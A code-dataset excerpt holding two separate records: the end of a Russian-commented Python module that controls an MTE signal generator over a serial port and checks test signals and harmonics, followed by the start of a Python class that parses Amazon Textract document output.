MTE_parameters.get_ranges_GEN()\n self.send_to_MTE(cmd_ranges_param)\n\n #3.3 - установить параметры сигнала основной частоты в генератор МТЕ\n self.send_to_MTE(cmd_base_param)\n\n #'''\n #3.4 - установить параметры гармоник в генератор МТЕ\n cmd_vol_harm_param, cmd_curr_harm_param = MTE_parameters.generate_harm_cmd(sig)\n\n if cmd_vol_harm_param != \"\":\n self.flag_exist_vol_harm = True\n self.send_to_MTE(cmd_vol_harm_param)\n\n if cmd_curr_harm_param != \"\":\n self.flag_exist_cur_harm = True\n self.send_to_MTE(cmd_curr_harm_param)\n\n # 'Проверка по генератору'\n # команда запрос - парсинг ответа -> если (измеренное значение - установленное значение) < дельта\n # то переходим к 'проверке по счетчику',\n # Если > дельта, то измеряем снова, но не более 5 раз. Если после 5 раз условие все еще не выполнено,\n # то устанавливаем точку ПСИ заново: generator_MTE.set_PSI_point(num_pnt). Если и в этом случае точка не установлена,\n # выходим в основное меню, сообщаем о том что точка не установлена, сбрасываем сигнал в ноль\n\n self.ser_port.timeout = 1\n self.send_to_MTE(\"??????\") # искусственная пауза \n self.ser_port.timeout = 1\n \n #3.5 - Установить сигнал на выходе генератора\n self.SET_cmd()\n \n #3.6 - \"Проверка по генератору\" по сигналу основной частоты\n self.is_PSI_pnt_set = self.check_PSI_point_main_freq(sig) \n\n #3.6.1 - Если с первого раза точка не установилась, то попробовать еще раз\n if self.is_PSI_pnt_set == False: \n print(\"Trying to set PSI point again\")\n self.ser_port.timeout = 1\n self.send_to_MTE(\"??????\") #искусственная пауза\n self.ser_port.timeout = 1\n \n self.SET_cmd()\n\n self.ser_port.timeout = 1\n self.send_to_MTE(\"??????\") #искусственная пауза\n self.ser_port.timeout = 1\n\n self.is_PSI_pnt_set = self.check_PSI_point_main_freq(sig)\n\n if self.is_PSI_pnt_set == False:\n print(\"Set PSI point again - Fail. PSI point still non set.\\n Off signal on generator \\n Back to main menu\")\n self.OFF_signal()\n return self.is_PSI_pnt_set\n\n \n #if (self.flag_exist_vol_harm == True) or (self.flag_exist_cur_harm == True): # проверка по гармоникам\n # self.is_PSI_pnt_set = self.check_PSI_point_harms(sig)\n \n #5 - вернуть короткое время между ответами генератора\n self.ser_port.timeout = 0.2\n\n return self.is_PSI_pnt_set\n\n\n #-----------------------------------------------------------------------------------#\n #-----------------------------------------------------------------------------------#\n #-----Обработчик 'проверки по генератору' по гармоникам\n #-----------------------------------------------------------------------------------#\n #-----------------------------------------------------------------------------------#\n \n def check_PSI_point_harms(self,sig):\n # Алгоритм работы следующий:\n # запрсили-сохранили-распарсили все спектры с генератора\n # проверяем по амплитудам гармоник и по всем фазам установку сигнала\n\n keys_vect_dict = [\"Ua\", \"Ub\", \"Uc\", \"Ia\", \"Ib\", \"Ic\"]\n #1 запрсили-сохранили-распарсили все спектры с генератора\n numUI_mas = [1,2] # 1-U, 2-I\n numPhase_mas = [1,2,3] # 1-A, 2-B, 3-C\n \n idx_list = 0\n for idx_ui in range(len(numUI_mas)): # цикл: напряжение/ток\n for idx_ph in range(len(numPhase_mas)): # цикл: по фазам А/B/C\n self.calculate_spectrum_by_generator(numUI_mas[idx_ui],numPhase_mas[idx_ph],(idx_ph-1)*3+(idx_ui-1))\n print(\"idx_list \"+str(idx_list))\n idx_list += 1\n\n print(\"self.list_Ua_ang, \"+str(len(self.list_Ua_ang))+\\\n \" self.list_Ub_ang, \"+str(len(self.list_Ub_ang))+\\\n \" self.list_Uc_ang, \"+str(len(self.list_Uc_ang))+\\\n \" self.list_Ia_ang, \"+str(len(self.list_Ia_ang))+\\\n \" self.list_Ib_ang, \"+str(len(self.list_Ib_ang))+\\\n \" self.list_Ic_ang, \"+str(len(self.list_Ic_ang)) )\n \n print(\" self.list_Ua_mod, \"+str(len(self.list_Ua_mod))+\\\n \" self.list_Ub_mod, \"+str(len(self.list_Ub_mod))+\\\n \" self.list_Uc_mod, \"+str(len(self.list_Uc_mod))+\\\n \" self.list_Ia_mod, \"+str(len(self.list_Ia_mod))+\\\n \" self.list_Ib_mod, \"+str(len(self.list_Ib_mod))+\\\n \" self.list_Ic_mod, \"+str(len(self.list_Ic_mod)) )\n\n #print(\"list_magn \" + str(len(list_magn)))\n #print(\"list_angl \" + str(len(list_angl)))\n\n #2 проверяем по амплитудам гармоник и по всем фазам установку сигнала\n delta = 5 # [%]\n set_PSI_point_flag = True\n\n for idx_harm_num in range(2, 32): # цикл по всем гармоникам\n cur_harm_signal = sig.get_vector_harm(idx_harm_num) # текущий объект Vector_values с параметрами idx_harm_num гармоники\n for idx_phase in range(6): # цикл по содержимому векторов\n\n etalon_ampl = cur_harm_signal.get(keys_vect_dict[idx_phase])[0] \n print(\"idx_phase: \"+str(idx_phase)+\" idx_harm_num \" + str(idx_harm_num))\n \n measered_ampl = self.list_name_m[idx_phase][idx_harm_num]\n #measered_ampl = self.list_Ua_mod[idx_harm_num]\n\n if etalon_ampl != 0.0: \n cur_delta = abs((etalon_ampl - measered_ampl)/etalon_ampl) * 100.0\n elif measered_ampl != 0.0: \n cur_delta = abs((measered_ampl - etalon_ampl)/measered_ampl) * 100.0\n else:\n cur_delta = 0\n\n if cur_delta > delta:\n print(\"Error on phase \"+str(idx_phase)+\" harm num: \"+str(idx_harm_num)+\\\n \": measered_ampl: \" + str(measered_ampl)+\" etalon_ampl: \" + str(etalon_ampl) +\\\n \" calc delta %: \"+str(cur_delta)+\" max delta %: \"+str(delta))\n set_PSI_point_flag = False\n else:\n set_PSI_point_flag = True\n\n print(\"finally set_PSI_point_flag HARMS: \"+str(set_PSI_point_flag))\n return set_PSI_point_flag\n\n #-----------------------------------------------------------------------------------#\n #-----------------------------------------------------------------------------------#\n #-----Обработчик 'проверки по генератору' по основной частоте\n #-----------------------------------------------------------------------------------#\n #-----------------------------------------------------------------------------------#\n \n def check_PSI_point_main_freq(self,sig):\n\n ask_str_mas = [\"?2;\",\"?1;\",\"?13;\",\"?12;\",\"FRQ;\"] # команда-запрос: \"I,U,phI,phU,FRQ\"\n \n #Ua, Ub, Uc, Ia, Ib, Ic = 0 # амплитуды\n #pUa, pUb, pUc, pIa, pIb, pIc = 0 # фазы\n meas_vals = []\n\n # отправка команды получение ответа (по одной)\n self.ser_port.flushInput()\n self.ser_port.flushOutput()\n\n main_sig = sig.get_main_freq_vector()\n etalon_freq = sig.get_frequency()\n measfreq = 0\n\n keys_vect_dict = [\"Ua\", \"Ub\", \"Uc\", \"Ia\", \"Ib\", \"Ic\"]\n etalon_vals = []\n\n for idx_keys in keys_vect_dict:\n etalon_vals.append(main_sig.get_ampl(idx_keys))\n\n for idx_keys in keys_vect_dict: \n t_phase = main_sig.get_phase(idx_keys)\n if t_phase > 180: t_phase = t_phase - 360\n if t_phase < -180: t_phase = t_phase + 360\n etalon_vals.append(t_phase)\n\n ##########################\n ##########################\n ##########################\n N_total_iter = 4 # Сколько раз повторно спрашиваем измерения с генератора МТЕ\n delta = 4 # [%]\n set_PSI_point_flag = [] # список флагов: пройдена ли проверка по этому параметру. \n #Сигнал считается установленным когда по всем параметрам пройдена проверка. Наиболее часто не устанавливается сигнал тока фазы А\n\n self.ser_port.timeout = 0.2 # интервал между опросами коротких команд\n ##########################\n ##########################\n ##########################\n print(\"check_PSI_point Generator\")\n # ПРОВЕРКА с \"Эталоном\"\n '''\n Проверка на то, установились ли правильные значения.\n Проверяем по относительной погрешности установившихся значений: если погршность меньше 1% (а может и 5%), то считаем что все в порядке\n '''\n\n for check_gen_iter in range(N_total_iter): # Внешний цикл по итерациям - опрос-анализ ответа от МТЕ\n print(\"check_gen_iter: \"+str(check_gen_iter+1))\n self.ser_port.flushInput()\n self.ser_port.flushOutput()\n \n meas_vals = [] # обнуление списков после каждой итерации опроса\n set_PSI_point_flag = []\n #meas_vals.clear()\n #set_PSI_point_flag.clear()\n check_set_PSI = False\n\n for ask in range(len(ask_str_mas)):\n self.ser_port.write(ask_str_mas[ask].encode()) \n textFromMTE = self.ser_port.read(800)\n textFromMTE = textFromMTE.decode()\n if ask < 3:\n\n if ask < 2: # Обработка ответов на запрос 1-ампл. тока, 2-ампл. напряжения\n va, vb, vc = self.parse_MTE_answer_text(textFromMTE)\n meas_vals.append(va)\n meas_vals.append(vb)\n meas_vals.append(vc)\n #print(\"va: \"+str(va)+\"vb: \"+str(vb)+\"vc: \"+str(vc))\n else:\n # ask == 2 - phase_U\n va, vb, vc = self.parse_MTE_answer_text(textFromMTE)\n \n # проверка если значение близко к 180 по модулю 360\n margin_angle = 5\n delta_a = abs(abs(va) - 180.0)\n delta_b = abs(abs(vb) - 180.0)\n delta_c = abs(abs(vc) - 180.0)\n \n va = va*(-1)\n vb = vb*(-1)\n vc = vc*(-1)\n if (va < -180.0) or (delta_a < margin_angle): va += 360 \n if (vb < -180.0) or (delta_b < margin_angle): vb += 360\n if (vc < -180.0) or (delta_c < margin_angle): vc += 360\n \n meas_vals.append(va)\n meas_vals.append(vb)\n meas_vals.append(vc)\n\n #print(\"va: \"+str(va)+\"vb: \"+str(vb)+\"vc: \"+str(vc))\n for t_idx in range(3):\n phase_idx = ask*3 + t_idx\n \n if etalon_vals[phase_idx] != 0.0: \n cur_delta = abs((etalon_vals[phase_idx] - meas_vals[phase_idx])/etalon_vals[phase_idx]) * 100.0\n elif meas_vals[phase_idx] != 0.0: \n cur_delta = abs(meas_vals[phase_idx]) * 100.0\n else:\n cur_delta = 0\n\n if cur_delta > delta:\n #print(\"Error on phase \"+str(t_idx)+\": measured value: \" + str(meas_vals[phase_idx])+\" etalon value: \" + str(etalon_vals[phase_idx]) +\\\n # \" calc delta %: \"+str(cur_delta)+\" max delta %: \"+str(delta))\n #set_PSI_point_flag = False\n set_PSI_point_flag.append(False)\n else:\n #set_PSI_point_flag = True\n set_PSI_point_flag.append(True)\n elif ask == 3:\n\n # ask == 3 - phase_I\n va, vb, vc = self.parse_MTE_answer_text(textFromMTE)\n \n # проверка если значение близко к 180 по модулю 360\n margin_angle = 5\n delta_a = abs(abs(va) - 180.0)\n delta_b = abs(abs(vb) - 180.0)\n delta_c = abs(abs(vc) - 180.0)\n \n va = va*(-1)\n vb = vb*(-1)\n vc = vc*(-1)\n if (va < -180.0) or (delta_a < margin_angle): va += 360 \n if (vb < -180.0) or (delta_b < margin_angle): vb += 360\n if (vc < -180.0) or (delta_c < margin_angle): vc += 360\n \n meas_vals.append(va)\n meas_vals.append(vb)\n meas_vals.append(vc)\n #print(\"va: \"+str(va)+\"vb: \"+str(vb)+\"vc: \"+str(vc))\n\n for t_idx in range(3):\n phase_idx = ask*3 + t_idx\n \n if etalon_vals[phase_idx] != 0.0: \n cur_delta = abs((etalon_vals[phase_idx] - meas_vals[phase_idx])/etalon_vals[phase_idx]) * 100.0\n elif meas_vals[phase_idx] != 0.0: \n cur_delta = abs(meas_vals[phase_idx]) * 100.0\n else:\n cur_delta = 0\n\n if cur_delta > delta:\n #print(\"Error I phase on phase \"+str(t_idx)+\": measured value: \" + str(meas_vals[phase_idx])+\" etalon value: \" + str(etalon_vals[phase_idx]) +\\\n # \" calc delta %: \"+str(cur_delta)+\" max delta %: \"+str(delta))\n #set_PSI_point_flag = False\n set_PSI_point_flag.append(False)\n else:\n #set_PSI_point_flag = True\n set_PSI_point_flag.append(True)\n else:\n measfreq = self.parse_MTE_answer_Freq_text(textFromMTE)\n #print(\"vfreq: \"+str(measfreq))\n\n if etalon_vals[phase_idx] != 0.0: \n cur_delta = abs((etalon_freq - measfreq)/etalon_freq) * 100.0\n else:\n cur_delta = 0\n\n if cur_delta > delta:\n #print(\"Error in Frequency measured value: \" + str(measfreq)+\" etalon value: \" + str(etalon_freq) +\\\n # \" calc delta %: \"+str(cur_delta)+\" max delta %: \"+str(delta))\n #set_PSI_point_FREQ_flag = False\n set_PSI_point_flag.append(False)\n else:\n #set_PSI_point_FREQ_flag = True\n set_PSI_point_flag.append(True)\n \n check_set_PSI = True\n for flag_elem in set_PSI_point_flag:\n if flag_elem == False:\n check_set_PSI = False\n break\n\n if check_set_PSI == True:\n break\n \n self.ser_port.timeout = 1\n self.ser_port.write(\"\".encode()) # перерыв между опросами в одной итерации равный 1 секунде\n self.ser_port.timeout = 0.2\n\n print(\"finally Generator: check_set_PSI == \"+str(check_set_PSI))\n return check_set_PSI\n\n #-----------------------------------------------------------------------------------#\n #-----------------------------------------------------------------------------------#\n #-----Обработчик измерения общих параметров генератора\n #-----------------------------------------------------------------------------------#\n #-----------------------------------------------------------------------------------#\n def GetCommonMenu_Handler(self):\n print(\"GetCommonMenu_Handler\")\n num = int(input())\n if num == 6:\n print(\"\\r\\nPressed: 6 - Back\")\n return\n elif num >= 1 and num <= 4:\n print(\"Waiting for measured: \" + self.GetCommonMenuItems_mas[num*3]) \n write_str = \"?\" + str(self.GetCommonMenuItems_mas[num*3+2]) + \";\"\n\n self.send_cmd_to_device(write_str)\n\n elif num == 5:\n print(\"Waiting for measured: FREQ\")\n write_str = \"FRQ\\r\"\n\n self.send_cmd_to_device(write_str) \n\n else:\n print(\"Something go wrong! input num set menu item.\")\n return\n\n #textFromMTE = read_MTE_answer(ser) #1 считываем строку измерений МТЕ (из виртуального порта)\n \n if num != 5:\n vA = vB = vC = 0\n vA, vB, vC = self.parse_MTE_answer() #2 парсим считанную строку\n print(\"\\r\\nValue A: \",str(vA),\\\n \"Value B: \",str(vB),\\\n \"Value C: \",str(vC)) #3 выводим распарсенный результат\n else:\n vFreq = 0\n vFreq = self.parse_MTE_answer_Freq() #2 парсим считанную строку\n print(\"\\r\\nFreq is: \",str(vFreq), \" Hz\") #3 выводим распарсенный результат\n\n\n #-----------------------------------------------------------------------------------#\n #-----------------------------------------------------------------------------------#\n #-----Измерение спектра (генератор)\n #-----------------------------------------------------------------------------------#\n #-----------------------------------------------------------------------------------#\n def calculate_spectrum_by_generator(self,numUI,numPhase,num_list_m):\n self.numUI = numUI\n self.numPhase = numPhase\n\n self.ser_port.timeout = 1 \n \n harmCommand = self.harm_dict[self.numUI+2] + str(self.harm_dict[self.numPhase-1]) + \"\\r\" # строка: команда запроса спектра с генератора МТЕ\n harm_text = self.send_cmd_to_device(harmCommand) \n\n self.ser_port.timeout = 0.2\n\n self.parse_MTE_Harm_answer(harm_text,num_list_m) # парсинг строки-спектра от генератора МТЕ\n \n #-----------------------------------------------------------------------------------#\n #-----------------------------------------------------------------------------------#\n #-----Измерение спектра (генератор)\n #-----------------------------------------------------------------------------------#\n #-----------------------------------------------------------------------------------#\n def get_spectrum_result(self):\n return self.list_module, self.list_angle\n\n #-----------------------------------------------------------------------------------#\n #-----------------------------------------------------------------------------------#\n #-----Парсинг строки-спектра (генератор)\n #-----------------------------------------------------------------------------------#\n #-----------------------------------------------------------------------------------#\n def parse_MTE_Harm_answer(self,textFromMTE,num_list_m):# парсинг строки-спектра от генератора МТЕ\n #print(\"parse_MTE_Harm_answer: \" + textFromMTE)\n # распарсить значения -> сгруппировать Ре и Им части в массивы -> расчет окончательного результата\n textFromMTE_common = textFromMTE.split(\",\")\n \n if len(textFromMTE_common) <= 1:\n print(\"no elements in string: parse_MTE_Harm_answer\")\n return\n\n if float(textFromMTE_common[1]) == 0:\n print(\"No harmonics. Amplifier switched off\")\n return\n\n #flafNewVal = textFromMTE_common[0][-1] # доступны ли новые данные для считывания\n\n ### Begin распарсить значения -> сгруппировать Ре и Им части в массивы ->\n \n multFactor = float(textFromMTE_common[1]) # общий множитель\n re_im_str = textFromMTE_common[2] # строка только из форматированных значений Re и Im\n len_re_im_div20 = 32 # 31 + 1 = 32 - Число гармоник которое считает МТЕ (31) плюс основная гармоника\n\n list_re = [] # списки со значениями Ре (и Им)\n list_im = []\n\n t_re = t_im = 0 # промежуточные переменные для формирования значений Ре и Им\n t_idx = 0\n\n #coefMult = multFactor / 32767.0\n\n for idx in range(len_re_im_div20):\n # string Re Im -> int Re Im -> float Re Im -> mult multFactor -> div 32767\n t_idx = idx*8\n t_re = float(int(re_im_str[t_idx:t_idx+4:1], 16) ) / 32767.0\n if t_re > 1.0:\n t_re = t_re - 2.0\n\n t_re = t_re * multFactor\n list_re.append(t_re)\n\n #print(\"Re \"+str(idx) +\" \"+ re_im_str[t_idx:t_idx+4:1] + \" \" +str(list_re[idx]))\n t_idx = t_idx + 4\n t_im = float(int(re_im_str[t_idx:t_idx+4:1], 16) ) / 32767.0\n if t_im > 1.0:\n t_im = t_im - 2.0\n\n t_im = t_im * multFactor\n list_im.append(t_im)\n\n #print(\"Im \"+str(idx) +\" \"+ re_im_str[t_idx:t_idx+4:1] + \" \" +str(list_im[idx]))\n ### End распарсить значения -> сгруппировать Ре и Им части в массивы ->\n \n # шапка таблицы результатов измерения гармоник\n print('{0:^4s} {1:^14s} {2:^14s}'.format(\"harm №\", \"Abs\",\"Ang, [°]\"))\n\n #########################################\n #########################################\n self.list_name_m[num_list_m].clear()\n self.list_name_m[num_list_m].clear()\n #########################################\n #########################################\n\n radToDeg_coef = 180.0 / pi\n\n for idx in range(len_re_im_div20):\n self.list_name_m[num_list_m].append( sqrt(list_re[idx]*list_re[idx] + list_im[idx]*list_im[idx]) )\n ###list_m.append( sqrt(list_re[idx]*list_re[idx] + list_im[idx]*list_im[idx]) )\n if list_re[idx] != 0.0:\n #self.list_angle.append( radToDeg_coef * math.atan2(list_im[idx], list_re[idx]))\n\n self.list_name_a[num_list_m].append( radToDeg_coef * atan(list_im[idx]/list_re[idx])) \n\n ###list_a.append( radToDeg_coef * atan(list_im[idx]/list_re[idx])) \n else:\n ###list_a.append(0) \n self.list_name_a[num_list_m].append( 0.0) \n\n print('{0:4d} {1:14f} {2:14f}'.format(idx, self.list_name_m[num_list_m][idx], self.list_name_a[num_list_m][idx]))\n\n #####################################\n #####################################\n #####################################\n #self.list_name_m[num_list_m] = list_m\n #self.list_name_m[num_list_m] = list_a\n\n # Передавать в функцию номер массива и сделать тут перекопирование в нужный self. массив. Вместо передачи с��ылки как аргумента функции\n\n #! Вызовы функции Дмитрия: \"получить значения спектра: 1) амплитуд гармоник [list_module] (0..31) \\\n # 2) фаз гармоник [list_angle] (0..31) \\ \n # 3) напряжение/ток (0,1) \\\n # 4) фаза A/B/C (0,1,2) \\ \n \n\n\n\nif __name__ == \"__main__\":\n pass\n\n\n\n ","repo_name":"dmitrius16/NewPSIMethodics","sub_path":"new_PSI_project/MTE_Generator.py","file_name":"MTE_Generator.py","file_ext":"py","file_size_in_byte":39843,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"88"} +{"seq_id":"2799606450","text":"\"\"\"The Document class is defined to host all the various DocumentEntity objects within it. :class:`DocumentEntity` objects can be \naccessed, searched and exported the functions given below.\"\"\"\n\nimport boto3\nimport json\nimport os\nimport string\nimport logging\nimport xlsxwriter\nimport io\nfrom typing import List, IO, Union, AnyStr, Tuple\nfrom copy import deepcopy\nfrom collections import defaultdict\nfrom PIL import Image\n\nfrom trp.trp2 import TDocument, TDocumentSchema\n\nfrom textractor.entities.expense_document import ExpenseDocument\nfrom textractor.entities.identity_document import IdentityDocument\nfrom textractor.entities.word import Word\nfrom textractor.entities.line import Line\nfrom textractor.entities.page import Page\nfrom textractor.entities.table import Table\nfrom textractor.entities.query import Query\nfrom textractor.entities.signature import Signature\nfrom textractor.exceptions import InputError\nfrom textractor.entities.key_value import KeyValue\nfrom textractor.entities.bbox import SpatialObject\nfrom textractor.data.constants import SelectionStatus\nfrom textractor.utils.s3_utils import download_from_s3\nfrom textractor.visualizers.entitylist import EntityList\nfrom textractor.data.constants import (\n TextTypes,\n SimilarityMetric,\n Direction,\n DirectionalFinderType,\n)\nfrom textractor.entities.selection_element import SelectionElement\nfrom textractor.utils.search_utils import SearchUtils, jaccard_similarity\nfrom textractor.data.text_linearization_config import TextLinearizationConfig\n\n\nclass Document(SpatialObject):\n \"\"\"\n Represents the description of a single document, as it would appear in the input to the Textract API.\n Document serves as the root node of the object model hierarchy,\n which should be used as an intermediate form for most analytic purposes.\n The Document node also contains the metadata of the document.\n \"\"\"\n\n @classmethod\n def open(cls, fp: Union[dict, str, IO[AnyStr]]):\n \"\"\"Create a Document object from a JSON file path, file handle or response dictionary\n\n :param fp: _description_\n :type fp: Union[dict, str, IO[AnyStr]]\n :raises InputError: Raised on input not being of type Union[dict, str, IO[AnyStr]]\n :return: Document object\n :rtype: Document\n \"\"\"\n from textractor.parsers import response_parser\n\n if isinstance(fp, dict):\n return response_parser.parse(fp)\n elif isinstance(fp, str):\n if fp.startswith(\"s3://\"):\n # FIXME: Opening s3 clients for everythign should be avoided\n client = boto3.client(\"s3\")\n return response_parser.parse(json.load(download_from_s3(client, fp)))\n with open(fp, \"r\") as f:\n return response_parser.parse(json.load(f))\n elif isinstance(fp, io.IOBase):\n return response_parser.parse(json.load(fp))\n else:\n raise InputError(\n f\"Document.open() input must be of type dict, str or file handle, not {type(fp)}\"\n )\n\n def __init__(self, num_pages: int = 1):\n \"\"\"\n Creates a new document, ideally containing entity objects pertaining to each page.\n\n :param num_pages: Number of pages in the input Document.\n \"\"\"\n super().__init__(width=0, height=0)\n self.num_pages: int = num_pages\n self._pages: List[Page] = []\n self._identity_documents: List[IdentityDocument] = []\n self._trp2_document = None\n self.response = None\n\n @property\n def words(self) -> EntityList[Word]:\n \"\"\"\n Returns all the :class:`Word` objects present in the Document.\n\n :return: List of Word objects, each representing a word within the Document.\n :rtype: EntityList[Word]\n \"\"\"\n return EntityList(sum([page.words for page in self.pages], []))\n\n @property\n def text(self) -> str:\n \"\"\"Returns the document text as one string\n\n :return: Page text seperated by line return\n :rtype: str\n \"\"\"\n return os.linesep.join([page.text for page in self.pages])\n\n @property\n def identity_documents(self) -> EntityList[IdentityDocument]:\n \"\"\"\n Returns all the :class:`IdentityDocument` objects present in the Document.\n\n :return: List of IdentityDocument objects, each representing an identity document within the Document.\n :rtype: EntityList[IdentityDocument]\n \"\"\"\n return EntityList(self._identity_documents)\n\n @identity_documents.setter\n def identity_documents(self, identity_documents: List[IdentityDocument]):\n \"\"\"\n Set all the identity documents detected inside the Document\n \"\"\"\n self._identity_documents = identity_documents\n\n @property\n def expense_documents(self) -> EntityList[ExpenseDocument]:\n \"\"\"\n Returns all the :class:`ExpenseDocument` objects present in the Document.\n\n :return: List of ExpenseDocument objects, each representing an expense document within the Document.\n :rtype: EntityList[ExpenseDocument]\n \"\"\"\n return EntityList(sum([page.expense_documents for page in self.pages], []))\n\n @property\n def lines(self) -> EntityList[Line]:\n \"\"\"\n Returns all the :class:`Line` objects present in the Document.\n\n :return: List of Line objects, each representing a line within the Document.\n :rtype: EntityList[Line]\n \"\"\"\n return EntityList(sum([page.lines for page in self.pages], []))\n\n @property\n def key_values(self) -> EntityList[KeyValue]:\n \"\"\"\n Returns all the :class:`KeyValue` objects present in the Document.\n\n :return: List of KeyValue objects, each representing a key-value pair within the Document.\n :rtype: EntityList[KeyValue]\n \"\"\"\n return EntityList(sum([page.key_values for page in self.pages], []))\n\n @property\n def checkboxes(self) -> EntityList[KeyValue]:\n \"\"\"\n Returns all the :class:`KeyValue` objects with SelectionElements present in the Document.\n\n :return: List of KeyValue objects, each representing a checkbox within the Document.\n :rtype: EntityList[KeyValue]\n \"\"\"\n return EntityList(sum([page.checkboxes for page in self.pages], []))\n\n @property\n def tables(self) -> EntityList[Table]:\n \"\"\"\n Returns all the :class:`Table` objects present in the Document.\n\n :return: List of Table objects, each representing a table within the Document.\n :rtype: EntityList[Table]\n \"\"\"\n return EntityList(sum([page.tables for page in self.pages], []))\n\n @property\n def queries(self) -> EntityList[Query]:\n \"\"\"\n Returns all the :class:`Query` objects present in the Document.\n\n :return: List of Query objects.\n :rtype: EntityList[Query]\n \"\"\"\n return EntityList(sum([page.queries for page in self.pages], []))\n\n @property\n def signatures(self) -> EntityList[Signature]:\n \"\"\"\n Returns all the :class:`Signature` objects present in the Document.\n\n :return: List of Signature objects.\n :rtype: EntityList[Signature]\n \"\"\"\n return EntityList(sum([page.signatures for page in self.pages], []))\n\n @property\n def identity_document(self) -> EntityList[IdentityDocument]:\n \"\"\"\n Returns all the :class:`IdentityDocument` objects present in the Page.\n\n :return: List of IdentityDocument objects.\n :rtype: EntityList\n \"\"\"\n return EntityList(self._identity_documents)\n\n @identity_document.setter\n def identity_document(self, identity_documents: List[IdentityDocument]):\n \"\"\"\n Add IdentityDocument objects to the Page.\n\n :param tables: List of IdentityDocument objects.\n :type identity_documents: list\n \"\"\"\n self._identity_document = identity_documents\n\n @property\n def images(self) -> List[Image.Image]:\n \"\"\"\n Returns all the page images in the Document.\n\n :return: List of PIL Image objects.\n :rtype: PIL.Image\n \"\"\"\n return [page.image for page in self._pages]\n\n @property\n def pages(self) -> List[Page]:\n \"\"\"\n Returns all the :class:`Page` objects present in the Document.\n\n :return: List of Page objects, each representing a Page within the Document.\n :rtype: List\n \"\"\"\n return self._pages\n\n @pages.setter\n def pages(self, pages: List[Page]):\n \"\"\"\n Add Page objects to the Document.\n\n :param pages: List of Page objects, each representing a page within the document.\n No specific ordering is assumed with input.\n :type pages: List[Page]\n \"\"\"\n self._pages = sorted(pages, key=lambda x: x.page_num)\n\n def get_text(\n self, config: TextLinearizationConfig = TextLinearizationConfig()\n ) -> str:\n return self.get_text_and_words(config)[0]\n\n def get_text_and_words(\n self, config: TextLinearizationConfig = TextLinearizationConfig()\n ) -> Tuple[str, List]:\n text, words_lists = zip(*[p.get_text_and_words(config) for p in self.pages])\n flattened_words = []\n for words in words_lists:\n flattened_words.extend(words)\n return config.layout_element_separator.join(text), flattened_words\n\n def page(self, page_no: int = 0):\n \"\"\"\n Returns :class:`Page` object/s depending on the input page_no. Follows zero-indexing.\n\n :param page_no: if int, returns single Page Object, else if list, it returns a list of\n Page objects.\n :type page_no: int if single page, list of int if multiple pages\n\n :return: Filters and returns Page objects depending on the input page_no\n :rtype: Page or List[Page]\n \"\"\"\n if isinstance(page_no, int):\n return self.pages[page_no]\n elif isinstance(page_no, list):\n return [self.pages[num] for num in page_no]\n else:\n raise InputError(\"page_no parameter doesn't match required data type.\")\n\n def __repr__(self):\n return os.linesep.join(\n [\n \"This document holds the following data:\",\n f\"Pages - {len(self.pages)}\",\n f\"Words - {len(self.words)}\",\n f\"Lines - {len(self.lines)}\",\n f\"Key-values - {len(self.key_values)}\",\n f\"Checkboxes - {len(self.checkboxes)}\",\n f\"Tables - {len(self.tables)}\",\n f\"Queries - {len(self.queries)}\",\n f\"Signatures - {len(self.signatures)}\",\n f\"Identity Documents - {len(self.identity_documents)}\",\n f\"Expense Documents - {len(self.expense_documents)}\",\n ]\n )\n\n def to_trp2(self) -> TDocument:\n \"\"\"\n Parses the response to the trp2 format for backward compatibility\n\n :return: TDocument object that can be used with the older Textractor libraries\n :rtype: TDocument\n \"\"\"\n if not self._trp2_document:\n self._trp2_document = TDocumentSchema().load(self.response)\n return self._trp2_document\n\n def visualize(self, *args, **kwargs):\n \"\"\"\n Returns the object's children in a visualization EntityList object\n\n :return: Returns an EntityList object\n :rtype: EntityList\n \"\"\"\n return EntityList(self.pages).visualize(*args, **kwargs)\n\n def keys(self, include_checkboxes: bool = True) -> List[str]:\n \"\"\"\n Prints all keys for key-value pairs and checkboxes if the document contains them.\n\n :param include_checkboxes: True/False. Set False if checkboxes need to be excluded.\n :type include_checkboxes: bool\n\n :return: List of strings containing key names in the Document\n :rtype: List[str]\n \"\"\"\n keys = []\n keys = [keyvalue.key for keyvalue in self.key_values]\n if include_checkboxes:\n keys += [keyvalue.key for keyvalue in self.checkboxes]\n return keys\n\n def filter_checkboxes(\n self, selected: bool = True, not_selected: bool = True\n ) -> List[KeyValue]:\n \"\"\"\n Return a list of :class:`KeyValue` objects containing checkboxes if the document contains them.\n\n :param selected: True/False Return SELECTED checkboxes\n :type selected: bool\n :param not_selected: True/False Return NOT_SELECTED checkboxes\n :type not_selected: bool\n\n :return: Returns checkboxes that match the conditions set by the flags.\n :rtype: EntityList[KeyValue]\n \"\"\"\n\n checkboxes = EntityList([])\n for page in self.pages:\n checkboxes.extend(\n page.filter_checkboxes(selected=selected, not_selected=not_selected)\n )\n return checkboxes\n\n def get_words_by_type(self, text_type: TextTypes = TextTypes.PRINTED) -> List[Word]:\n \"\"\"\n Returns list of :class:`Word` entities that match the input text type.\n\n :param text_type: TextTypes.PRINTED or TextTypes.HANDWRITING\n :type text_type: TextTypes\n :return: Returns list of Word entities that match the input text type.\n :rtype: EntityList[Word]\n \"\"\"\n if not self.words:\n logging.warn(\"Document contains no word entities.\")\n return []\n\n filtered_words = EntityList()\n for page in self.pages:\n filtered_words.extend(page.get_words_by_type(text_type=text_type))\n return filtered_words\n\n def search_words(\n self,\n keyword: str,\n top_k: int = 1,\n similarity_metric: SimilarityMetric = SimilarityMetric.LEVENSHTEIN,\n similarity_threshold: float = 0.6,\n ) -> List[Word]:\n \"\"\"\n Return a list of top_k words that match the keyword.\n\n :param keyword: Keyword that is used to query the document.\n :type keyword: str\n :param top_k: Number of closest word objects to be returned\n :type top_k: int\n :param similarity_metric: SimilarityMetric.COSINE, SimilarityMetric.EUCLIDEAN or SimilarityMetric.LEVENSHTEIN. SimilarityMetric.COSINE is chosen as default.\n :type similarity_metric: SimilarityMetric\n :param similarity_threshold: Measure of how similar document key is to queried key. default=0.6\n :type similarity_threshold: float\n\n :return: Returns a list of words that match the queried key sorted from highest\n to lowest similarity.\n :rtype: EntityList[Word]\n \"\"\"\n\n top_n_words = []\n for page in self.pages:\n top_n_words.extend(\n page._search_words_with_similarity(\n keyword=keyword,\n top_k=top_k,\n similarity_metric=similarity_metric,\n similarity_threshold=similarity_threshold,\n )\n )\n\n top_n_words = sorted(top_n_words, key=lambda x: x[0], reverse=True)[:top_k]\n top_n_words = EntityList([ent[1] for ent in 